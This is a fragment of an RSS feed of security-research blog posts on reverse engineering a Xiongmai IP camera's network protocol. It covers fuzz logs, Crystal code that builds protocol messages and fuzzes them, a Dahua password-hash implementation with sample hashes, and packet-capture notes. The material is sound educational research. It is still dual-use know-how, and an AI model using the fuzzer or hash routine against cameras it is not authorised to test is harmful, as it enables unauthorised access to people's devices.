BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004&quot;
    Bytes: [&quot;0x0608&quot;]
BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\&quot;\u0018\u0000\u0000&quot;
    Bytes: [&quot;0x066c&quot;]</code></pre>
<p>We also get some zip files which contains settings dumps, while interesting don&#39;t contain anything we didn&#39;t already know about the camera.</p>
<pre class="code-block"><code>BINARY FILE &quot;\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF&quot;
    Bytes: [&quot;0x0618&quot;]</code></pre>
<p>0x0618 gives us an image from the camera, will be useful for later.</p>
<p>Overall, we&#39;ve gained some interesting insight into the device, and we haven&#39;t even fuzzed all the commands, and the unauthenticated user account yet!</p>
<p>The user account &quot;default&quot; ends up giving us a clear picture of whats going on. Since it only has stream privileges, most of it&#39;s replies are stream related.</p>
<pre class="code-block"><code>Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000

&quot;{ \&quot;AliveInterval\&quot; : 0, \&quot;ChannelNum\&quot; : 0, \&quot;DeviceType \&quot; : \&quot;DVR\&quot;, \&quot;ExtraChannel\&quot; : 10976316, \&quot;Ret\&quot; : 205, \&quot;SessionID\&quot; : \&quot;0x000042C9\&quot; }\n&quot;
    Bytes: [&quot;0x03e8&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 102, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03f2&quot;, &quot;0x080e&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPMonitor\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0585&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0590&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x059a&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;GetSafetyAbility\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot;, \&quot;authorizeStat\&quot; : null }\n&quot;
    Bytes: [&quot;0x0672&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPRecordSnap\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x07fc&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 105, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0852&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 106, \&quot;SessionID\&quot; : \&quot;0x000066E9\&quot; }\n&quot;
    Bytes: [&quot;0x02ee&quot;, &quot;0x0192&quot;, &quot;0x00a7&quot;, &quot;0x0e27&quot;, &quot;0x0041&quot;, &quot;0x01c1&quot;, &quot;0x0032&quot;, &quot;0x0fa6&quot;, &quot;0x03f7&quot;, &quot;0x0740&quot;, &quot;0x0d85&quot;, &quot;0x0c3e&quot;, &quot;0x095d&quot;, &quot;0x06ee&quot;, &quot;0x02b7&quot;, &quot;0x08ac&quot;, &quot;0x0db9&quot;, &quot;0x08d6&quot;, &quot;0x00bb&quot;, &quot;0x0b37&quot;, &quot;0x0606&quot;, &quot;0x0996&quot;, &quot;0x0cfb&quot;, &quot;0x0afa&quot;, &quot;0x00ba&quot;, &quot;0x0974&quot;, &quot;0x0d51&quot;, &quot;0x0906&quot;, &quot;0x0f42&quot;, &quot;0x05e2&quot;]</code></pre>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Fuzzing</strong> (<em>Security</em>) &bull; 5 years &mdash; Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [<a href="https://en.wikipedia.org/wiki/Fuzzing">Wikipedia</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Basic Fuzzing</title>
      <link>https://sol.vin/xiongmai_journey/4.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/4.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Fuzzing</category>
      <category domain="skill-slug">fuzzing</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Fuzzing</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <description><![CDATA[<p>When dealing with a protocol where the source code and implementation are secret to us,we need to do certain kinds of testing to find out how to format data appropriately, as well as determine what can change behavior, what can be ignored, and what we need to pay attention to.</p>
<p>We want to poke at SessionID a bit, lets try to login repeatedly to get an idea of SessionIDs values. For this example, we login to the camera, then send a command, then print the SessionID.</p>
<pre class="code-block"><code>0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009

[Done] exited with code=0 in 1.025 seconds</code></pre>
<p>Since SessionID acts like a simple incrementer, we can easily write our own values. Getting an idea of how the camera might produce it&#39;s SessionID fields may help us later to develop an anti-client.</p>
<p>Let&#39;s make an attempt to send another command after logging in, we first will try to replay a commands SessionID, then try to replay the command with a randomized SessionID. This will give us greater insight into what works, and what doesn&#39;t.</p>
<p>For this command I&#39;ll be using SystemInfo which I found while sniffing! This one is used by the client to get a list of some settings and version numbers. Playing around with the SessionID field shows the camera doesn&#39;t care about it. I tried 0x00000007, 0x11111117, and a couple other random numbers and they all seemed to work!</p>
<p>There were also a couple values in the 20 byte header that I couldn&#39;t decipher, so I wrote a fuzzer to see if there was anything interesting about them. The results I got were, strange, to say the least. I used this method to make a basic command, including the header.</p>
<pre class="code-block"><code># Class that contains the basic process for making a message to/from the camera
class XMMessage
  property type : UInt32
  property session_id : UInt32
  property unknown1 : UInt32
  property unknown2 : UInt16
  property magic : UInt16
  property size : UInt32
  property message : String

  #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
  def self.from_s(string)
    io = IO::Memory.new string
    m = XMMessage.new
    m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.message = string[20..string.size]
    m
  end

  def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = &quot;&quot;)
  end

  def magic1 : UInt8
    (magic &amp; 0xFF).to_u8
  end

  def magic2 : UInt8
    (magic &gt;&gt; 8).to_u8
  end

  def make_header
    header_io = IO::Memory.new
    header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown2,IO::ByteFormat::LittleEndian)
    header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)

    header_io.to_s
  end

  def make : String
    (make_header + self.message)
  end
end</code></pre>
<p>Next, I made the main part of the fuzzer, which fills in every possible byte value, waits for a reply, then disconnects, and loops. I keep track of which magic return what reply.</p>
<p>If you&#39;d like to view the code, and understand more about how the fuzzing process needs to work, check out the <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/client/src/fuzzer.cr">GitHub</a> page for the project.</p>
<p>Some notes on this program,</p>
<ul>
  <li>There are two bytes we want to target, the first magic1, and then magic2.</li>
  <li>The fuzzer itself has to be extremely fault tolerant, because lots of bad things happen when using it. There is a lot of trial and error in designing one of these.</li>
</ul>
<p><em> Was the login connection refused? (because camera went offline) </em> Was the command ever replied to? * Was the command reply&#39;s length zero?</p>
<p>When I want to run it I just do something like this,</p>
<pre class="code-block"><code>class Command::SystemInfo &lt; Command
  def initialize(@session_id = 0)
    super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json|
      json.object do
        json.field &quot;Name&quot;, &quot;SystemInfo&quot;
        json.field &quot;SessionID&quot;, &quot;0x#{@session_id.to_s(16).rjust(8, &#39;0&#39;)}&quot;
      end
    end)
  end
end

File.open(&quot;logs/system_info.log&quot;, &quot;w&quot;) do |file|
  Fuzzer.run(
    Command::SystemInfo.new(session_id: 0x11111117),
    magic2: (0x3..0x6),
    password: &quot;password&quot;,
    output: file
    )
end</code></pre>
<p>This will run for a while, eventually producing results, and while the results are accurate, it&#39;s too slow! It can take up to 24 hours to complete a single scan of the magic field 0x3 to 0x8, especially because camera turns off and doesn&#39;t turn back on for minutes, as well as many other system breaking bugs.</p>
<p>Luckily I had a couple ideas to make it faster.</p>
]]></description>
      <content:encoded><![CDATA[<p>When dealing with a protocol where the source code and implementation are secret to us,we need to do certain kinds of testing to find out how to format data appropriately, as well as determine what can change behavior, what can be ignored, and what we need to pay attention to.</p>
<p>We want to poke at SessionID a bit, lets try to login repeatedly to get an idea of SessionIDs values. For this example, we login to the camera, then send a command, then print the SessionID.</p>
<pre class="code-block"><code>0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009

[Done] exited with code=0 in 1.025 seconds</code></pre>
<p>Since SessionID acts like a simple incrementer, we can easily write our own values. Getting an idea of how the camera might produce it&#39;s SessionID fields may help us later to develop an anti-client.</p>
<p>Let&#39;s make an attempt to send another command after logging in, we first will try to replay a commands SessionID, then try to replay the command with a randomized SessionID. This will give us greater insight into what works, and what doesn&#39;t.</p>
<p>For this command I&#39;ll be using SystemInfo which I found while sniffing! This one is used by the client to get a list of some settings and version numbers. Playing around with the SessionID field shows the camera doesn&#39;t care about it. I tried 0x00000007, 0x11111117, and a couple other random numbers and they all seemed to work!</p>
<p>There were also a couple values in the 20 byte header that I couldn&#39;t decipher, so I wrote a fuzzer to see if there was anything interesting about them. The results I got were, strange, to say the least. I used this method to make a basic command, including the header.</p>
<pre class="code-block"><code># Class that contains the basic process for making a message to/from the camera
class XMMessage
  property type : UInt32
  property session_id : UInt32
  property unknown1 : UInt32
  property unknown2 : UInt16
  property magic : UInt16
  property size : UInt32
  property message : String

  #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
  def self.from_s(string)
    io = IO::Memory.new string
    m = XMMessage.new
    m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.message = string[20..string.size]
    m
  end

  def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = &quot;&quot;)
  end

  def magic1 : UInt8
    (magic &amp; 0xFF).to_u8
  end

  def magic2 : UInt8
    (magic &gt;&gt; 8).to_u8
  end

  def make_header
    header_io = IO::Memory.new
    header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown2,IO::ByteFormat::LittleEndian)
    header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)

    header_io.to_s
  end

  def make : String
    (make_header + self.message)
  end
end</code></pre>
<p>Next, I made the main part of the fuzzer, which fills in every possible byte value, waits for a reply, then disconnects, and loops. I keep track of which magic return what reply.</p>
<p>If you&#39;d like to view the code, and understand more about how the fuzzing process needs to work, check out the <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/client/src/fuzzer.cr">GitHub</a> page for the project.</p>
<p>Some notes on this program,</p>
<ul>
  <li>There are two bytes we want to target, the first magic1, and then magic2.</li>
  <li>The fuzzer itself has to be extremely fault tolerant, because lots of bad things happen when using it. There is a lot of trial and error in designing one of these.</li>
</ul>
<p><em> Was the login connection refused? (because camera went offline) </em> Was the command ever replied to? * Was the command reply&#39;s length zero?</p>
<p>When I want to run it I just do something like this,</p>
<pre class="code-block"><code>class Command::SystemInfo &lt; Command
  def initialize(@session_id = 0)
    super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json|
      json.object do
        json.field &quot;Name&quot;, &quot;SystemInfo&quot;
        json.field &quot;SessionID&quot;, &quot;0x#{@session_id.to_s(16).rjust(8, &#39;0&#39;)}&quot;
      end
    end)
  end
end

File.open(&quot;logs/system_info.log&quot;, &quot;w&quot;) do |file|
  Fuzzer.run(
    Command::SystemInfo.new(session_id: 0x11111117),
    magic2: (0x3..0x6),
    password: &quot;password&quot;,
    output: file
    )
end</code></pre>
<p>This will run for a while, eventually producing results, and while the results are accurate, it&#39;s too slow! It can take up to 24 hours to complete a single scan of the magic field 0x3 to 0x8, especially because camera turns off and doesn&#39;t turn back on for minutes, as well as many other system breaking bugs.</p>
<p>Luckily I had a couple ideas to make it faster.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Fuzzing</strong> (<em>Security</em>) &bull; 5 years &mdash; Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [<a href="https://en.wikipedia.org/wiki/Fuzzing">Wikipedia</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Hashing</title>
      <link>https://sol.vin/xiongmai_journey/3.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/3.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <description><![CDATA[<p>We also finally got some passwords, but they were hashed, so we are going to need to figure out what method the manufacturer used. First thing to notice is that, in other captures, the PassWord field is always the same, meaning chances are we aren&#39;t dealing with a random <a href="https://en.wikipedia.org/wiki/Salt_(cryptography">salt</a>) every time. If they do use a salt it must be hard coded into the camera itself, but this is unlikely. What IS really weird about this hash is that it says it&#39;s &quot;MD5&quot; but the hash itself is only 8 bytes, where MD5 has 16. This means that there is some hashing protocol, but it is custom and built upon MD5.</p>
<p>I actually searched up and down and couldn&#39;t find anything about this hash format. I tried tools like <a href="https://gchq.github.io/CyberChef/">CyberChef</a> and a <a href="https://www.browserling.com/tools/all-hashes">hash calculator</a> to no success. Unfortunately, I couldn&#39;t find the hashing format used, so I asked the wonderful people on the <a href="https://discord.gg/cewJDe2">Voiding Warranties Discord</a>, and admin <a href="https://github.com/DavidBuchanan314">Retr0id</a> knew the hash type, Dahua! Since he helped me out, I&#39;ll plug his <a href="https://github.com/DavidBuchanan314/wifi-sdcf/tree/master/evil-sd-emulator">very cool exploit</a> for a brand of wifi-enabled SD cards, go check it out, it&#39;s a super cool project!</p>
<p>In the end I used a bit of <a href="https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py">source code</a> for the hashing system to write my own Dahua hashing for Crystal.</p>
<pre class="code-block"><code># Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py
require &quot;digest/md5&quot;
module Dahua
  def self.compress(bytes : Slice(UInt8)) : Bytes
    i = 0
    j = 0
    output = Bytes.new(8, 0)
    while i &amp;lt; bytes.size
      output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8

      if output[j] &lt; 10
        output[j] += 48
      elsif output[j] &amp;lt; 36
        output[j] += 55
      else
        output[j] += 61
      end

      i = i+2
      j = j+1
    end
    output
  end

  def self.digest(password)
    md5_bytes = Digest::MD5.digest(password.encode(&quot;ascii&quot;))
    compressed = compress(md5_bytes.to_slice)

    String.new(compressed)
  end
end</code></pre>
<p>I&#39;m not hashing expert, but this method to me screams, &quot;<a href="https://learncryptography.com/hash-functions/hash-collision-attack">COLLISION</a>&quot;. From my calculation, this system loses about 99.9% of the entropy in the hash, that&#39;s not even a joke, each character in the Dahua hash has a 62 possibilities, where the original MD5 hash has 65535 possibilities each (since the hashing algorithm takes two bytes from the MD5 hash for each one of it&#39;s characters). This means that for each MD5 hash, there is a total of  2^(8*16), which is a very big number, and reduces it down to 62^8, which is a much much smaller number.</p>
<p>Using the digest method, we can attempt to determine our password hashes.</p>
<pre class="code-block"><code>&quot;&quot; = tlJwpbo6
&quot;password&quot; = mF95aD4o
&quot;abcdef&quot; = vfMMASaj
&quot;123456&quot; = nTBCS19C
&quot;asdfghjkl&quot; = MajKjGGZ
&quot;000000000000000000000000&quot; = lJ84MHiF

[Done] exited with code=0 in 0.586 seconds</code></pre>
]]></description>
      <content:encoded><![CDATA[<p>We also finally got some passwords, but they were hashed, so we are going to need to figure out what method the manufacturer used. First thing to notice is that, in other captures, the PassWord field is always the same, meaning chances are we aren&#39;t dealing with a random <a href="https://en.wikipedia.org/wiki/Salt_(cryptography">salt</a>) every time. If they do use a salt it must be hard coded into the camera itself, but this is unlikely. What IS really weird about this hash is that it says it&#39;s &quot;MD5&quot; but the hash itself is only 8 bytes, where MD5 has 16. This means that there is some hashing protocol, but it is custom and built upon MD5.</p>
<p>I actually searched up and down and couldn&#39;t find anything about this hash format. I tried tools like <a href="https://gchq.github.io/CyberChef/">CyberChef</a> and a <a href="https://www.browserling.com/tools/all-hashes">hash calculator</a> to no success. Unfortunately, I couldn&#39;t find the hashing format used, so I asked the wonderful people on the <a href="https://discord.gg/cewJDe2">Voiding Warranties Discord</a>, and admin <a href="https://github.com/DavidBuchanan314">Retr0id</a> knew the hash type, Dahua! Since he helped me out, I&#39;ll plug his <a href="https://github.com/DavidBuchanan314/wifi-sdcf/tree/master/evil-sd-emulator">very cool exploit</a> for a brand of wifi-enabled SD cards, go check it out, it&#39;s a super cool project!</p>
<p>In the end I used a bit of <a href="https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py">source code</a> for the hashing system to write my own Dahua hashing for Crystal.</p>
<pre class="code-block"><code># Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py
require &quot;digest/md5&quot;
module Dahua
  def self.compress(bytes : Slice(UInt8)) : Bytes
    i = 0
    j = 0
    output = Bytes.new(8, 0)
    while i &amp;lt; bytes.size
      output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8

      if output[j] &lt; 10
        output[j] += 48
      elsif output[j] &amp;lt; 36
        output[j] += 55
      else
        output[j] += 61
      end

      i = i+2
      j = j+1
    end
    output
  end

  def self.digest(password)
    md5_bytes = Digest::MD5.digest(password.encode(&quot;ascii&quot;))
    compressed = compress(md5_bytes.to_slice)

    String.new(compressed)
  end
end</code></pre>
<p>I&#39;m not hashing expert, but this method to me screams, &quot;<a href="https://learncryptography.com/hash-functions/hash-collision-attack">COLLISION</a>&quot;. From my calculation, this system loses about 99.9% of the entropy in the hash, that&#39;s not even a joke, each character in the Dahua hash has a 62 possibilities, where the original MD5 hash has 65535 possibilities each (since the hashing algorithm takes two bytes from the MD5 hash for each one of it&#39;s characters). This means that for each MD5 hash, there is a total of  2^(8*16), which is a very big number, and reduces it down to 62^8, which is a much much smaller number.</p>
<p>Using the digest method, we can attempt to determine our password hashes.</p>
<pre class="code-block"><code>&quot;&quot; = tlJwpbo6
&quot;password&quot; = mF95aD4o
&quot;abcdef&quot; = vfMMASaj
&quot;123456&quot; = nTBCS19C
&quot;asdfghjkl&quot; = MajKjGGZ
&quot;000000000000000000000000&quot; = lJ84MHiF

[Done] exited with code=0 in 0.586 seconds</code></pre>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Software Overview and Audit</title>
      <link>https://sol.vin/xiongmai_journey/2.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/2.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Exploitation</category>
      <category domain="skill-slug">exploitation</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Exploitation</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/xiongmai/wireshark/1.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/2.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/3.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/4.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/5.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/14.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/6.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/7.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/8.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/9.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/10.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/11.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/12.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/13.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/xiongmai/wireshark/1.png" />
      <description><![CDATA[<p>I plan to do the same thing I did with the VStarCam, capture packets, read through them, get a basic idea for the connection process, and start writing my very own client! First things first, we want to get an idea of a couple things,</p>
<ul>
  <li>Get a list of all port numbers, source and destination, and who communicated using them.</li>
  <li>Study the basic packet structure and figure out the basic formatting.</li>
  <li>Look at the client software for clues into the inner workings.</li>
</ul>
<h2>Sniffing</h2>
<p>Same as before, the main idea is to login with the app, and then immediately disconnect, so it&#39;s easier to understand the login process. Just for information, we&#39;ll do this multiple times to see if there are any important variables in the connection process we may need to track.</p>
<p>This time the app is the <a href="https://play.google.com/store/apps/details?id=com.mobile.myeye&amp;hl=en_US">XMEye</a> app, which operates very similarly to the Eye4 app that the VStarCam uses. The app, once again, has a stupid cloud login, which means the camera has that DDNS connectivity built in again. I&#39;m really glad that I wrote rules in my network to prevent the camera from reaching the internet.</p>
<center>
<img src="/images/xiongmai/wireshark/1.png" style="width: 100%; height: 100%;">
</center>
<p>Once again, broadcast is being used in a poor way, allowing potential attackers to find ALL cameras on a network with one simple magic packet. We are also seeing some weird UDP protocol again.</p>
<p>Taking a look at the first packet, we are greeted with a 20 byte sequence, a single byte 0xFF, padded by thirteen 0x00, then 0xFA05, and lastly four 0x00. We will call this the DBP (Discovery Broadcast Packet).</p>
<center>
<img src="/images/xiongmai/wireshark/2.png" style="width: 100%; height: 100%;">
</center>
<p>Looking ahead, there is a similar marking to the 0xFA05, a 0xFB05. My guess would be that 0xFA05 is the client, and 0xFB05 is the camera. There is also a treasure trove of data sent to broadcast. From this packet we can see the format of choice is JSON. This will be a lot easier to work with that the custom protocol, because it requires less de-serialization work, the hard part is written for us! We will call this the DBR (Discovery Broadcast Reply)</p>
<center>
<img src="/images/xiongmai/wireshark/3.png" style="width: 100%; height: 100%;">
</center>
<p>It does this little dance to share the UDPPort and the TCPPort, both of which are most likely hard-coded in, so there isn&#39;t much of a reason for it. We also know that &quot;Ret : 100&quot; means the command succeeded!</p>
<center>
<img src="/images/xiongmai/wireshark/4.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the header, we can see the data contains a 0x3E, which just happens to be the exact size of the data, without the 20 byte header. When googling the name &quot;GetSafetyAbility&quot;, I couldn&#39;t find anything, not on GitHub, or any other search engine (I even tried Baidu). The protocol also switched off from UDP to TCP.</p>
